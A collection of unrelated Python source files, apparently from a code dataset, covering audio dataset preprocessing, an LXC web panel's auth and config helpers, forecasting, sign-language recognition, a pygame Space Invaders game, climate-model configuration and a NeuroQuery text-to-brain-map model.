dset.attrs['speaker'] = audio_clip['speaker']
dset.attrs['speech_start_ts'] = audio_clip['speech_start_ts']
dset.attrs['speech_end_ts'] = audio_clip['speech_end_ts']
def parse_args():
parser = argparse.ArgumentParser(description='Builds and saves dataset arrays from Hey Snips audio data')
parser.add_argument('--models_dir', type=str, default='utils/tf_lite', help='directory with TF-Lite filter model')
parser.add_argument('--data_dir', type=str, default='data/hey_snips_research_6k_en_train_eval_clean_ter',
help='Directory with Hey Snips raw dataset')
parser.add_argument('--out_dir', type=str, default='data', help='Directory to save datasets to')
parser.add_argument('--sample_rate', type=int, default=16000, help='Sample rate for audio (Hz)')
parser.add_argument('--frame_width', type=int, default=20, help='Frame width for audio in (ms)')
parser.add_argument('--hop_width', type=int, default=10, help='Hop width for audio in (ms)')
parser.add_argument('-wake_word', type=str, default='hey-snips', help='Wake work in dataset')
args = parser.parse_args()
assert os.path.exists(args.data_dir), 'Location of dataset was not found!'
return args
def main(args) -> int:
start = time.time()
filter = Filter(model_dir=args.models_dir)
# load, filter and save features of each audio file in dataset
for dataset in glob(os.path.join(args.data_dir, '*.json')):
print(f"Loading and preprocessing {os.path.basename(dataset).replace('.json', '')} dataset using metadata from {dataset}")
dataset_filter = Dataset_Filter(dataset, filter, **vars(args))
dataset_filter.filter_dataset_audio()
print(f'Script completed in {time.time()-start:.2f} secs')
return 0
if __name__ == '__main__':
args = parse_args()
sys.exit(main(args))
| python |
import sys
import hmac
import time
import crypt
import hashlib
import sqlite3
import ConfigParser
from flask import session, render_template, g, flash, redirect, url_for, request, jsonify
"""
cgroup_ext is a data structure where for each input of edit.html we have an array with:
position 0: the lxc container option to be saved on file
position 1: the regex to validate the field
position 2: the flash message to display on success.
"""
ip_regex = '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$'
cidr_regex = '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\/(\d|[1-2]\d|3[0-2]))*$'
file_match = '^[\w.-/]+$'
cgroup_ext = {
'arch': ['lxc.arch', '^(x86|i686|x86_64|amd64)$', ''],
'utsname': ['lxc.utsname', '^[\w.-]+$', 'Hostname updated'],
'type': ['lxc.network.type', '^(none|empty|veth|vlan|macvlan|phys)$', 'Link network type updated'],
'link': ['lxc.network.link', '^[\w.-/]+$', 'Link name updated'],
'flags': ['lxc.network.flags', '^(up|down)$', 'Network flag updated'],
'hwaddr': ['lxc.network.hwaddr', '^[0-9a-fA-F:]+$', 'Hardware address updated'],
'ipv4': ['lxc.network.ipv4', cidr_regex, 'IPv4 address updated'],
'ipv4gw': ['lxc.network.ipv4.gateway', ip_regex, 'IPv4 gateway address updated'],
'ipv6': ['lxc.network.ipv6', '^([0-9a-fA-F:/]+)+$', 'IPv6 address updated'], # weak ipv6 regex check
'ipv6gw': ['lxc.network.ipv6.gateway', '^([0-9a-fA-F:]+)+$', 'IPv6 gateway address updated'],
'script_up': ['lxc.network.script.up', file_match, 'Network script down updated'],
'script_down': ['lxc.network.script.down', file_match, 'Network script down updated'],
'rootfs': ['lxc.rootfs', file_match, 'Rootfs updated'],
'memlimit': ['lxc.cgroup.memory.limit_in_bytes', '^([0-9]+|)$', 'Memory limit updated'],
'swlimit': ['lxc.cgroup.memory.memsw.limit_in_bytes', '^([0-9]+|)$', 'Swap limit updated'],
'cpus': ['lxc.cgroup.cpuset.cpus', '^[0-9,-]+$', 'CPUs updated'],
'shares': ['lxc.cgroup.cpu.shares', '^[0-9]+$', 'CPU shares updated'],
'deny': ['lxc.cgroup.devices.deny', '^$', '???'],
'allow': ['lxc.cgroup.devices.allow', '^$', '???'],
'loglevel': ['lxc.loglevel', '^[0-9]$', 'Log level updated'],
'logfile': ['lxc.logfile', file_match, 'Log file updated'],
'id_map': ['lxc.id_map', '^[ug0-9 ]+$', 'UID Mapping updated'],
'hook_pre_start': ['lxc.hook.pre-start', file_match, 'Pre hook start updated'],
'hook_pre_mount': ['lxc.hook.pre-mount', file_match, 'Pre mount hook updated'],
'hook_mount': ['lxc.hook.mount', file_match, 'Mount hook updated'],
'hook_start': ['lxc.hook.start', file_match, 'Container start hook updated'],
'hook_post_stop': ['lxc.hook.post-stop', file_match, 'Container post hook updated'],
'hook_clone': ['lxc.hook.clone', file_match, 'Container clone hook updated'],
'start_auto': ['lxc.start.auto', '^(0|1)$', 'Autostart saved'],
'start_delay': ['lxc.start.delay', '^[0-9]*$', 'Autostart delay option updated'],
'start_order': ['lxc.start.order', '^[0-9]*$', 'Autostart order option updated']
}
# configuration
config = ConfigParser.SafeConfigParser()
try:
# TODO: should really use with statement here rather than rely on cpython reference counting
config.readfp(open('/etc/lwp/lwp.conf'))
except:
# TODO: another blind exception
print(' * missed /etc/lwp/lwp.conf file')
try:
# fallback on local config file
config.readfp(open('lwp.conf'))
except:
print(' * cannot read config files. Exit!')
sys.exit(1)
def connect_db(db_path):
"""
SQLite3 connect function
"""
return sqlite3.connect(db_path)
def query_db(query, args=(), one=False):
cur = g.db.execute(query, args)
rv = [dict((cur.description[idx][0], value) for idx, value in enumerate(row)) for row in cur.fetchall()]
return (rv[0] if rv else None) if one else rv
def if_logged_in(function=render_template, f_args=('login.html', )):
"""
helper decorator to verify if a user is logged
"""
def decorator(handler):
def new_handler(*args, **kwargs):
if 'logged_in' in session:
return handler(*args, **kwargs)
else:
return function(*f_args)
new_handler.func_name = handler.func_name
return new_handler
return decorator
def get_bucket_token(container):
query = query_db("SELECT bucket_token FROM machine WHERE machine_name=?", [container], one=True)
if query is None:
return ""
else:
return query['bucket_token']
def hash_passwd(passwd):
return hashlib.sha512(passwd).hexdigest()
def get_token():
return hashlib.md5(str(time.time())).hexdigest()
def check_session_limit():
if 'logged_in' in session and session.get('last_activity') is not None:
now = int(time.time())
limit = now - 60 * int(config.get('session', 'time'))
last_activity = session.get('last_activity')
if last_activity < limit:
flash(u'Session timed out !', 'info')
session.pop('logged_in', None)
session.pop('token', None)
session.pop('last_activity', None)
session.pop('username', None)
session.pop('name', None)
session.pop('su', None)
flash(u'You are logged out!', 'success')
else:
session['last_activity'] = now
def api_auth():
"""
api decorator to verify if a token is valid
"""
def decorator(handler):
def new_handler(*args, **kwargs):
token = request.args.get('private_token')
if token is None:
token = request.headers.get('Private-Token')
if token:
result = query_db('select * from api_tokens where token=?', [token], one=True)
if result is not None:
#token exists, access granted
return handler(*args, **kwargs)
else:
return jsonify(status="error", error="Unauthorized"), 401
else:
return jsonify(status="error", error="Unauthorized"), 401
new_handler.func_name = handler.func_name
return new_handler
return decorator
def check_htpasswd(htpasswd_file, username, password):
htuser = None
lines = open(htpasswd_file, 'r').readlines()
for line in lines:
htuser, htpasswd = line.split(':')
if username == htuser:
break
if htuser is None:
return False
else:
return hmac.compare_digest(crypt.crypt(password, htpasswd), htpasswd)
| python |
import numpy as np
import pandas as pd
# generate a daily signal covering one year 2016 in a pandas dataframe
N = 365
np.random.seed(seed=1960)
df_train = pd.DataFrame({"Date" : pd.date_range(start="2016-01-25", periods=N, freq='D'),
"Signal" : (np.arange(N)//40 + np.arange(N) % 21 + np.random.randn(N))})
# print(df_train.head(N))
import pyaf.ForecastEngine as autof
# create a forecast engine. This is the main object handling all the operations
lEngine = autof.cForecastEngine()
# get the best time series model for predicting one week
lEngine.train(iInputDS = df_train, iTime = 'Date', iSignal = 'Signal', iHorizon = 7);
lEngine.getModelInfo() # => relative error 7% (MAPE)
# predict one week
df_forecast = lEngine.forecast(iInputDS = df_train, iHorizon = 7)
# list the columns of the forecast dataset
print(df_forecast.columns) #
# print the real forecasts
# Future dates : ['2017-01-19T00:00:00.000000000' '2017-01-20T00:00:00.000000000' '2017-01-21T00:00:00.000000000' '2017-01-22T00:00:00.000000000' '2017-01-23T00:00:00.000000000' '2017-01-24T00:00:00.000000000' '2017-01-25T00:00:00.000000000']
print(df_forecast['Date'].tail(7).values)
# signal forecast : [ 9.74934646 10.04419761 12.15136455 12.20369717 14.09607727 15.68086323 16.22296559]
print(df_forecast['Signal_Forecast'].tail(7).values)
| python |
import warnings
from asl_data import SinglesData
def recognize(models: dict, test_set: SinglesData):
""" Recognize test word sequences from word models set
:param models: dict of trained models
{'SOMEWORD': GaussianHMM model object, 'SOMEOTHERWORD': GaussianHMM model object, ...}
:param test_set: SinglesData object
:return: (list, list) as probabilities, guesses
both lists are ordered by the test set word_id
probabilities is a list of dictionaries where each key a word and value is Log Liklihood
[{SOMEWORD': LogLvalue, 'SOMEOTHERWORD' LogLvalue, ... },
{SOMEWORD': LogLvalue, 'SOMEOTHERWORD' LogLvalue, ... }]
guesses is a list of the best guess words ordered by the test set word_id
['WORDGUESS0', 'WORDGUESS1', 'WORDGUESS2',...]
"""
warnings.filterwarnings("ignore", category=DeprecationWarning)
probabilities = [] #dict of {possible_word: logL}
guesses = [] #best guesses
# TODO implement the recognizer
for word_id in range(test_set.num_items):
word_logL_dict = {} #dict
X, lengths = test_set.get_all_Xlengths()[word_id]
for word in models:
hmm_model = models[word]
try: #if the hmmlearn library can score the model
logL = hmm_model.score(X, lengths)
except: #if the hmmlearn library cannot score the model
logL = float('-inf')
word_logL_dict[word] = logL
probabilities.append(word_logL_dict)
guesses.append(max(word_logL_dict, key = lambda k: word_logL_dict[k])) #best guess according to logL
return probabilities, guesses | python |
from django.template.loaders.app_directories import Loader as AppDirectoriesLoader
from .mixins import TemplateMinifierMixin
class Loader(TemplateMinifierMixin, AppDirectoriesLoader):
pass
| python |
import pygame
from pygame import mixer
from pygame import time
from pygame.locals import *
import random
pygame.mixer.pre_init(44100, -16, 2, 512)
mixer.init()
pygame.font.init()
# define fps
clock = pygame.time.Clock()
fps = 60
screen_width = 600
screen_height = 800
screen = pygame.display.set_mode((screen_width, screen_height))
pygame.display.set_caption('Space Invaders')
# define fonts
font30 = pygame.font.SysFont('Constantia', 30)
font40 = pygame.font.SysFont('Constantia', 40)
# load sounds
explosion_fx = pygame.mixer.Sound("img/explosion.wav")
explosion_fx.set_volume(0.25)
explosion2_fx = pygame.mixer.Sound("img/explosion2.wav")
explosion2_fx.set_volume(0.25)
laser_fx = pygame.mixer.Sound("img/laser.wav")
laser_fx.set_volume(0.25)
# define game variables
rows = 5
cols = 5
alien_cooldown = 1000 # bullet cooldown(ms)
last_alien_shot = pygame.time.get_ticks()
countdown = 3
last_count = pygame.time.get_ticks()
game_over = 0 # 0 means no 'game over' :: 1 means player has won :: -1 means player has lost
# define colors
red = (255, 0, 0)
green = (0, 255, 0)
white = (255, 255, 255)
# load image
bg = pygame.image.load("img/bg.png")
def draw_bg():
screen.blit(bg, (0, 0))
# define function for creating text
def draw_text(text, font, text_col, x, y):
img = font.render(text, True, text_col)
screen.blit(img, (x, y))
# create spaceship class
class Spaceship(pygame.sprite.Sprite):
def __init__(self, x, y, health):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load("img/ship.png")
self.rect = self.image.get_rect()
self.rect.center = [x, y]
self.health_start = health
self.health_remaining = health
self.last_shot = pygame.time.get_ticks()
def update(self):
# set movement speed
speed = 8
# set cooldown variable
cooldown = 500 # milliseconds
game_over = 0
# get key press
key = pygame.key.get_pressed()
if key[pygame.K_LEFT] and self.rect.left > 0:
self.rect.x -= speed
if key[pygame.K_RIGHT] and self.rect.right < screen_width:
self.rect.x += speed
# record current time
time_now = pygame.time.get_ticks()
# shoot
if key[pygame.K_SPACE] and time_now - self.last_shot > cooldown:
laser_fx.play()
bullet = Bullets(self.rect.centerx, self.rect.top)
bullet_group.add(bullet)
self.last_shot = time_now
# update mask
self.mask = pygame.mask.from_surface(self.image)
# draw health bar
pygame.draw.rect(
screen, red, (self.rect.x, (self.rect.bottom + 10), self.rect.width, 15))
if self.health_remaining > 0:
pygame.draw.rect(screen, green, (self.rect.x, (self.rect.bottom + 10), int(
self.rect.width * (self.health_remaining / self.health_start)), 15))
elif self.health_remaining <= 0:
explosion = Explosion(self.rect.centerx, self.rect.centery, 3)
explosion_group.add(explosion)
self.kill()
game_over = -1
return game_over
# create bullets class
class Bullets(pygame.sprite.Sprite):
def __init__(self, x, y):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load("img/bullet.png")
self.rect = self.image.get_rect()
self.rect.center = [x, y]
def update(self):
self.rect.y -= 5
if self.rect.bottom < 0:
self.kill()
if pygame.sprite.spritecollide(self, alien_group, True):
self.kill()
explosion_fx.play()
explosion = Explosion(self.rect.centerx, self.rect.centery, 2)
explosion_group.add(explosion)
# create aliens class
class Aliens(pygame.sprite.Sprite):
def __init__(self, x, y):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load(
"img/alien" + str(random.randint(1, 5)) + ".png")
self.rect = self.image.get_rect()
self.rect.center = [x, y]
self.move_counter = 0
self.move_direction = 1
def update(self):
self.rect.x += self.move_direction
self.move_counter += 1
if abs(self.move_counter) > 75:
self.move_direction *= -1
self.move_counter *= self.move_direction
# create Alien Bullets class
class Alien_Bullets(pygame.sprite.Sprite):
def __init__(self, x, y):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load("img/alien_bullet.png")
self.rect = self.image.get_rect()
self.rect.center = [x, y]
def update(self):
self.rect.y += 2
if self.rect.top > screen_height:
self.kill()
if pygame.sprite.spritecollide(self, spaceship_group, False, pygame.sprite.collide_mask):
self.kill()
explosion2_fx.play()
# reduce player health
spaceship.health_remaining -= 1
explosion = Explosion(self.rect.centerx, self.rect.centery, 1)
explosion_group.add(explosion)
# create explosion class
class Explosion(pygame.sprite.Sprite):
def __init__(self, x, y, size):
pygame.sprite.Sprite.__init__(self)
self.images = []
for num in range(1, 6):
img = pygame.image.load(f"img/exp{num}.png")
if size == 1:
img = pygame.transform.scale(img, (20, 20))
if size == 2:
img = pygame.transform.scale(img, (40, 40))
if size == 3:
img = pygame.transform.scale(img, (160, 160))
# add img to the list
self.images.append(img)
self.index = 0
self.image = self.images[self.index]
self.rect = self.image.get_rect()
self.rect.center = [x, y]
self.counter = 0
def update(self):
explosion_speed = 3
# update explosion animation
self.counter += 1
if self.counter >= explosion_speed and self.index < len(self.images) - 1:
self.counter = 0
self.index += 1
self.image = self.images[self.index]
# if animation is complete, delete explosion
if self.index >= len(self.images) - 1 and self.counter >= explosion_speed:
self.kill()
# create sprite groups
spaceship_group = pygame.sprite.Group()
bullet_group = pygame.sprite.Group()
alien_group = pygame.sprite.Group()
alien_bullet_group = pygame.sprite.Group()
explosion_group = pygame.sprite.Group()
def create_aliens():
# generate aliens
for row in range(rows):
for item in range(cols):
alien = Aliens(100 + item * 100, 100 + row * 70)
alien_group.add(alien)
create_aliens()
# create player
spaceship = Spaceship(screen_width // 2, screen_height - 100, 3)
spaceship_group.add(spaceship)
run = True
while run:
clock.tick(fps)
# draw background
draw_bg()
if countdown == 0:
# create random alien bullets
# record current time
time_now = pygame.time.get_ticks()
# shoot
if time_now - last_alien_shot > alien_cooldown and len(alien_bullet_group) < 5 and len(alien_group) > 0:
attacking_alien = random.choice(alien_group.sprites())
alien_bullet = Alien_Bullets(
attacking_alien.rect.centerx, attacking_alien.rect.bottom)
alien_bullet_group.add(alien_bullet)
last_alien_shot = time_now
# check if all aliens have been destroyed
if len(alien_group) == 0:
game_over = 1
if game_over == 0:
# update spaceship
game_over = spaceship.update()
# update sprite groups
bullet_group.update()
alien_group.update()
alien_bullet_group.update()
else:
if game_over == -1:
draw_text('YOU LOST, ACK!!!', font40, white, int(
screen_width / 2 - 110), int(screen_height / 2 + 50))
if game_over == 1:
draw_text('YOU WIN!!!', font40, white, int(
screen_width / 2 - 110), int(screen_height / 2 + 50))
if countdown > 0:
draw_text('GET READY!', font40, white, int(
screen_width / 2 - 110), int(screen_height / 2 + 50))
draw_text(str(countdown), font40, white, int(
screen_width / 2 - 10), int(screen_height / 2 + 100))
count_timer = pygame.time.get_ticks()
if count_timer - last_count > 1000:
countdown -= 1
last_count = count_timer
# update explosion group
explosion_group.update()
# draw sprite groups
spaceship_group.draw(screen)
bullet_group.draw(screen)
alien_group.draw(screen)
alien_bullet_group.draw(screen)
explosion_group.draw(screen)
# event handlers
for event in pygame.event.get():
if event.type == pygame.QUIT:
run = False
pygame.display.update()
pygame.quit()
| python |
if __name__ == '__main__':
n = int(input())
numbers = [None]*(n+1)
a = list(map(int,input().split()))
for i in a:
numbers[i] = True
for i in range(1,n+1):
if numbers[i] is None:
print(i) | python |
import zmq
import uuid
from random import randint
from common.settings import *
context = zmq.Context()
servers = SERVERS_LOCAL
connections = []
for i in xrange(N_SERVERS):
socket = context.socket(zmq.REQ)
socket.connect("tcp://" + servers[i]["client2server"])
connections.append(socket)
for i in range(600):
rand_server = randint(0, len(connections) - 1)
socket = connections[rand_server]
socket.send_json({
"type" : "spawn",
"player_id" : uuid.uuid4().hex,
"player_type" : "h"
})
response = socket.recv()
for socket in connections:
socket.close() | python |
#!/usr/bin/env python
import matplotlib.pyplot as plt
import matplotlib.cm as cm
import numpy as np
plt.rcParams.update({'font.size': 16})
dt = 0.02
dims = 201, 201
x = range(-100, 101)
for i in range(0,1100, 100):
input_file = 'tsunami_h_' + '%4.4i' % i + '.dat'
print('Plotting ' + input_file)
field = np.reshape(np.fromfile(input_file, dtype='float32'), dims)
ticks = np.arange(-0.1, 0.11, 0.01)
field[field > 0.0999] = 0.0999
field[field <-0.0999] =-0.0999
fig = plt.figure(figsize=(8, 7))
ax = fig.add_subplot(111, aspect='equal')
cnt = plt.contourf(x, x, field, ticks, cmap=cm.Spectral)
for c in cnt.collections:
c.set_edgecolor('face')
plt.colorbar(shrink=0.8)
plt.xlabel('Distance [m]')
plt.ylabel('Distance [m]')
plt.title('Water height @ time = ' + '%3.1f' % (i * dt) + ' s')
plt.savefig(input_file[:-2] + '.png')
#plt.savefig(input_file[:-2] + '.svg')
plt.close(fig)
| python |
import filecmp
import os.path
class dircmp(filecmp.dircmp):
"""
Compare the content of dir1 and dir2. In contrast with filecmp.dircmp, this
subclass compares the content of files with the same path.
"""
def phase3(self):
"""
Find out differences between common files.
Ensure we are using content comparison with shallow=False.
"""
fcomp = filecmp.cmpfiles(self.left, self.right, self.common_files,
shallow=False)
self.same_files, self.diff_files, self.funny_files = fcomp
def is_same(dir1, dir2):
"""
Compare two directory trees content.
Return False if they differ, True is they are the same.
"""
compared = dircmp(dir1, dir2)
if (compared.left_only or compared.right_only or compared.diff_files
or compared.funny_files):
return False
for subdir in compared.common_dirs:
if not is_same(os.path.join(dir1, subdir), os.path.join(dir2, subdir)):
return False
return True | python |
wrf_dir="/home/WRFV4.1.3/run_tutorial/"
wrf_input_file="wrfinput_d01"
wrf_bdy_file="wrfbdy_d01"
wrf_met_dir="/home/WPSV4.1.3/run_tutorial/"
wrf_met_files="met_em.d01.2010*"
mera_dir="/home/Merra2_data/"
mera_files="svc_MERRA2_300.inst3_3d_aer_Nv.2010*"
do_IC=True
do_BC=True
###########################################
#GOCART DUST ONLY
spc_map = [ 'DUST_1 -> 1.0*[DU001];1.e9',
'DUST_2 -> 1.0*[DU002];1.e9',
'DUST_3 -> 1.0*[DU003];1.e9',
'DUST_4 -> 1.0*[DU004];1.e9',
'DUST_5 -> 1.0*[DU005];1.e9']
#GOCART FULL
spc_map = [ 'DUST_1 -> 1.0*[DU001];1.e9',
'DUST_2 -> 1.0*[DU002];1.e9',
'DUST_3 -> 1.0*[DU003];1.e9',
'DUST_4 -> 1.0*[DU004];1.e9',
'DUST_5 -> 1.0*[DU005];1.e9',
'SEAS_1 -> 1.0*[SS002];1.e9',
'SEAS_2 -> 1.0*[SS003];1.e9',
'SEAS_3 -> 1.0*[SS004];1.e9',
'SEAS_4 -> 1.0*[SS005];1.e9',
'so2 -> 0.453*[SO2];1.e6',
'sulf -> 0.302*[SO4];1.e6',
'BC1 -> 1.0*[BCPHOBIC];1.e9',
'BC2 -> 1.0*[BCPHILIC];1.e9',
'OC1 -> 1.0*[OCPHOBIC];1.e9',
'OC2 -> 1.0*[OCPHILIC];1.e9',
'dms -> 0.467*[DMS];1.e6']
#,'msa -> 0.302*[MSA];1.e6'
spc_map = [ 'o3 -> 0.604*[O3];1.e6','co -> 1.0*[CO];1.e6']
#spc_map = [ 'so2 -> 0.453*[SO2];1.e6','sulf -> 0.302*[SO4];1.e6']
###########################################
#CBMZ-MOSAIC_8bins SO2, Sulf, O3, CO, DUST and Sea salt (NaCl).
#oc_a0X,bc_a0X still need to be done
spc_map =['so2 -> 0.453*[SO2];1.e6',
'o3 -> 0.604*[O3];1.e6',
'co -> 1.0*[CO];1.e6',
'oin_a01->0.01292*[DU001];1.e9',
'oin_a02->0.03876*[DU001];1.e9',
'oin_a03->0.19382*[DU001];1.e9',
'oin_a04->0.30103*[DU001];1.e9',
'oin_a05->0.30103*[DU001];1.e9',
'oin_a06->0.20412*[DU001]+0.37963*[DU002];1.e9',
'oin_a07->0.62037*[DU002]+0.64308*[DU003];1.e9',
'oin_a08->0.35692*[DU003]+0.73697*[DU004];1.e9',
'na_a01->0.086245*[SS001];1.e9',
'na_a02->0.226471*[SS001];1.e9',
'na_a03->0.080656*[SS001]+0.109080*[SS002];1.e9',
'na_a04->0.169416*[SS002];1.e9',
'na_a05->0.114876*[SS002]+0.079899*[SS003];1.e9',
'na_a06->0.248190*[SS003];1.e9',
'na_a07->0.065283*[SS003]+0.166901*[SS004];1.e9',
'na_a08->0.226471*[SS004]+0.000000*[SS005];1.e9',
'cl_a01->0.133000*[SS001];1.e9',
'cl_a02->0.349246*[SS001];1.e9',
'cl_a03->0.124382*[SS001]+0.168214*[SS002];1.e9',
'cl_a04->0.261260*[SS002];1.e9',
'cl_a05->0.177153*[SS002]+0.123215*[SS003];1.e9',
'cl_a06->0.382739*[SS003];1.e9',
'cl_a07->0.100674*[SS003]+0.257382*[SS004];1.e9',
'cl_a08->0.349246*[SS004]+0.000000*[SS005];1.e9',
'so4_a01->0.057541*[SO4];1.e9',
'so4_a02->0.116135*[SO4];1.e9',
'so4_a03->0.264759*[SO4];1.e9',
'so4_a04->0.246169*[SO4];1.e9',
'so4_a05->0.091116*[SO4];1.e9',
'so4_a06->0.013328*[SO4];1.e9',
'so4_a07->0.000762*[SO4];1.e9',
'so4_a08->0.000017*[SO4];1.e9',
'num_a01->5.855e+16*[DU001]+1.147e+18*[SS001]+3.621e+17*[SO4];1',
'num_a02->2.196e+16*[DU001]+3.766e+17*[SS001]+9.136e+16*[SO4];1',
'num_a03->1.372e+16*[DU001]+1.676e+16*[SS001]+2.267e+16*[SS002]+2.604e+16*[SO4];1',
'num_a04->2.664e+15*[DU001]+4.401e+15*[SS002]+3.026e+15*[SO4];1',
'num_a05->3.330e+14*[DU001]+3.731e+14*[SS002]+2.595e+14*[SS003]+1.400e+14*[SO4];1',
'num_a06->2.663e+13*[DU001]+4.953e+13*[DU002]+1.008e+14*[SS003]+2.560e+12*[SO4];1',
'num_a07->1.012e+13*[DU002]+1.049e+13*[DU003]+3.313e+12*[SS003]+8.469e+12*[SS004]+1.829e+10*[SO4];1',
'num_a08->7.276e+11*[DU003]+1.502e+12*[DU004]+1.436e+12*[SS004]+1.599e-03*[SS005]+5.048e+07*[SO4];1']
| python |
import pathlib
import numpy as np
from scipy import sparse
import pandas as pd
from sklearn.preprocessing import normalize
from sklearn.utils.extmath import safe_sparse_dot
from nilearn import image
from neuroquery.img_utils import get_masker
from neuroquery import tokenization, smoothed_regression, ridge
_MAX_SIMILAR_DOCS_RETURNED = 100
class NeuroQueryModel:
"""Text -> brain map encoder.
It encodes text into statistical maps of the brain and also provides a list
of related terms.
It can be initialized with a fitted regression model
(`neuroquery.smoothed_regression.SmoothedRegression`) or loaded using
`from_data_dir`. Most users will probably load a pre-trained model with
`from_data_dir`.
Parameters
----------
vectorizer : `neuroquery.tokenization.TextVectorizer`
An object that transforms text into TFIDF features.
smoothed_regression : `neuroquery.smoothed_regression.SmoothedRegression`
A reduced-rank regression that combines feature smoothing, projection,
and linear regression. The input features must correspond to the
outputs of `vectorizer`.
mask_img : Nifti1Image
Mask of the regression targets. The non-zero voxels correspond to the
dependent variables.
corpus_info : dict, optional (default=None)
Data required to report which studies are most relevant for a query.
Must contain:
- "metadata": pandas DataFrame, each row describing a study
- "tfidf": scipy sparse matrix or numpy array, TFIDF features for
the documents. Rows must correspond to the same studies as in
"metadata", and columns to the terms in the vectorizer's
vocabulary.
If corpus_info is not available the model will not report most similar
studies.
"""
@classmethod
def from_data_dir(cls, model_dir):
"""Load a pre-trained TextToBrain model.
Parameters
----------
model_dir : str
path to a directory containing the serialized trained model.
The directory must be organized as the one returned by
`neuroquery.datasets.fetch_neuroquery_model`, except that
`corpus_metadata.csv` and `corpus_tfidf.npz` are optional.
"""
model_dir = pathlib.Path(model_dir)
vectorizer = tokenization.TextVectorizer.from_vocabulary_file(
str(model_dir / "vocabulary.csv"),
voc_mapping="auto",
add_unigrams=False,
)
regression = smoothed_regression.SmoothedRegression.from_data_dir(
str(model_dir)
)
mask_img = image.load_img(str(model_dir / "mask_img.nii.gz"))
corpus_tfidf = model_dir / "corpus_tfidf.npz"
corpus_metadata = model_dir / "corpus_metadata.csv"
if corpus_tfidf.is_file() and corpus_metadata.is_file():
corpus_info = {}
corpus_info["tfidf"] = sparse.load_npz(str(corpus_tfidf))
corpus_info["metadata"] = pd.read_csv(
str(corpus_metadata), encoding="utf-8"
)
else:
corpus_info = None
return cls(vectorizer, regression, mask_img, corpus_info=corpus_info)
def to_data_dir(self, model_dir):
"""Save the model so it can later be loaded with `from_data_dir`."""
model_dir = pathlib.Path(model_dir)
model_dir.mkdir(parents=True, exist_ok=True)
self.vectorizer.to_vocabulary_file(str(model_dir / "vocabulary.csv"))
self.smoothed_regression.to_data_dir(model_dir)
self.get_masker().mask_img_.to_filename(
str(model_dir / "mask_img.nii.gz")
)
if self.corpus_info is not None:
sparse.save_npz(
str(model_dir / "corpus_tfidf.npz"),
sparse.csr_matrix(self.corpus_info["tfidf"]),
)
self.corpus_info["metadata"].to_csv(
str(model_dir / "corpus_metadata.csv"), index=False
)
def __init__(
self, vectorizer, smoothed_regression, mask_img, corpus_info=None
):
self.vectorizer = vectorizer
self.smoothed_regression = smoothed_regression
self.mask_img = mask_img
self.corpus_info = corpus_info
def full_vocabulary(self):
"""All the terms recognized by the model."""
return self.vectorizer.get_vocabulary()
def _supervised_features(self):
if not hasattr(
self.smoothed_regression.regression_, "selected_features_"
):
return np.arange(
self.smoothed_regression.regression_.coef_.shape[1]
)
return self.smoothed_regression.regression_.selected_features_
def supervised_vocabulary(self):
"""Terms selected as features for the supervised regression."""
return np.asarray(self.full_vocabulary())[self._supervised_features()]
def document_frequencies(self):
if self.corpus_info is None:
return None
if not hasattr(self, "document_frequencies_"):
document_frequencies = (self.corpus_info["tfidf"] > 0).sum(axis=0)
document_frequencies = np.asarray(document_frequencies).ravel()
self.document_frequencies_ = pd.Series(
document_frequencies, index=self.full_vocabulary()
)
return self.document_frequencies_
def _similar_words(self, tfidf, vocabulary=None):
if vocabulary is None:
vocabulary = self.full_vocabulary()
if sparse.issparse(tfidf):
tfidf = tfidf.A.squeeze()
similar = pd.Series(tfidf, index=vocabulary).sort_values(
ascending=False
)
return similar[similar > 0]
def similar_documents(self, tfidf):
if self.corpus_info is None:
return None
similarities = safe_sparse_dot(
tfidf, self.corpus_info["tfidf"].T, dense_output=True
).ravel()
order = np.argsort(similarities)[::-1]
order = order[similarities[order] > 0][:_MAX_SIMILAR_DOCS_RETURNED]
ordered_simil = similarities[order]
similar_docs = (
self.corpus_info["metadata"].iloc[order].reset_index(drop=True)
)
similar_docs["similarity"] = ordered_simil
return similar_docs
def _beta_norms(self):
return np.linalg.norm(
self.smoothed_regression.regression_.coef_, axis=0
)
def get_masker(self):
if not hasattr(self, "masker_"):
self.masker_ = get_masker(self.mask_img)
return self.masker_
def _supervised_vocabulary_set(self):
if not hasattr(self, "supervised_vocabulary_set_"):
self.supervised_vocabulary_set_ = set(self.supervised_vocabulary())
return self.supervised_vocabulary_set_
def transform(self, documents):
"""Transform a set of documents
Parameters
----------
documents : list or array of str
the text snippets to transform
Returns
-------
list of dict, each containing:
- "brain_map": a nifti image of the most relevant brain regions.
- "raw_tfidf": the vectorized documents.
- "smoothed_tfidf": the tfidf after semantic smoothing.
- "z_map" is an alias for "brain_map" for backwards compatibility
"""
raw_tfidf = self.vectorizer.transform(documents)
raw_tfidf = normalize(raw_tfidf, copy=False)
self.smoothed_regression.regression_.intercept_ = 0.0
brain_maps = self.smoothed_regression.transform_to_brain_maps(
raw_tfidf
)
masker = self.get_masker()
brain_maps_unmasked = list(map(masker.inverse_transform, brain_maps))
smoothed_tfidf = self.smoothed_regression.smoothing_.transform(
raw_tfidf
)
smoothed_tfidf = normalize(smoothed_tfidf, copy=False)
return {
"brain_map": brain_maps_unmasked,
"z_map": brain_maps_unmasked,
"raw_tfidf": raw_tfidf,
"smoothed_tfidf": smoothed_tfidf,
}
def __call__(self, document):
"""Transform a document
Parameters
----------
document : str
the text to transform
Returns
-------
dict containing:
- "brain_map": a nifti image of the most relevant brain regions.
- "similar_words": pandas DataFrame containing related terms.
- "similarity" is how much the term is related.
- "weight_in_brain_map" is the contribution of the term in the
predicted "brain_map".
- "weight_in_query" is the TFIDF of the term in `document`.
- "similar_documents": if no corpus_info was provided, this is
`None`. Otherwise it is a DataFrame containing information about
the most relevant studies.
- "highlighted_text": an XML document showing which terms were
recognized in the provided text.
- "smoothed_tfidf": the tfidf after semantic smoothing.
- "raw_tfidf": the vectorized documents.
- "z_map" is an alias for "brain_map" for backwards compatibility
"""
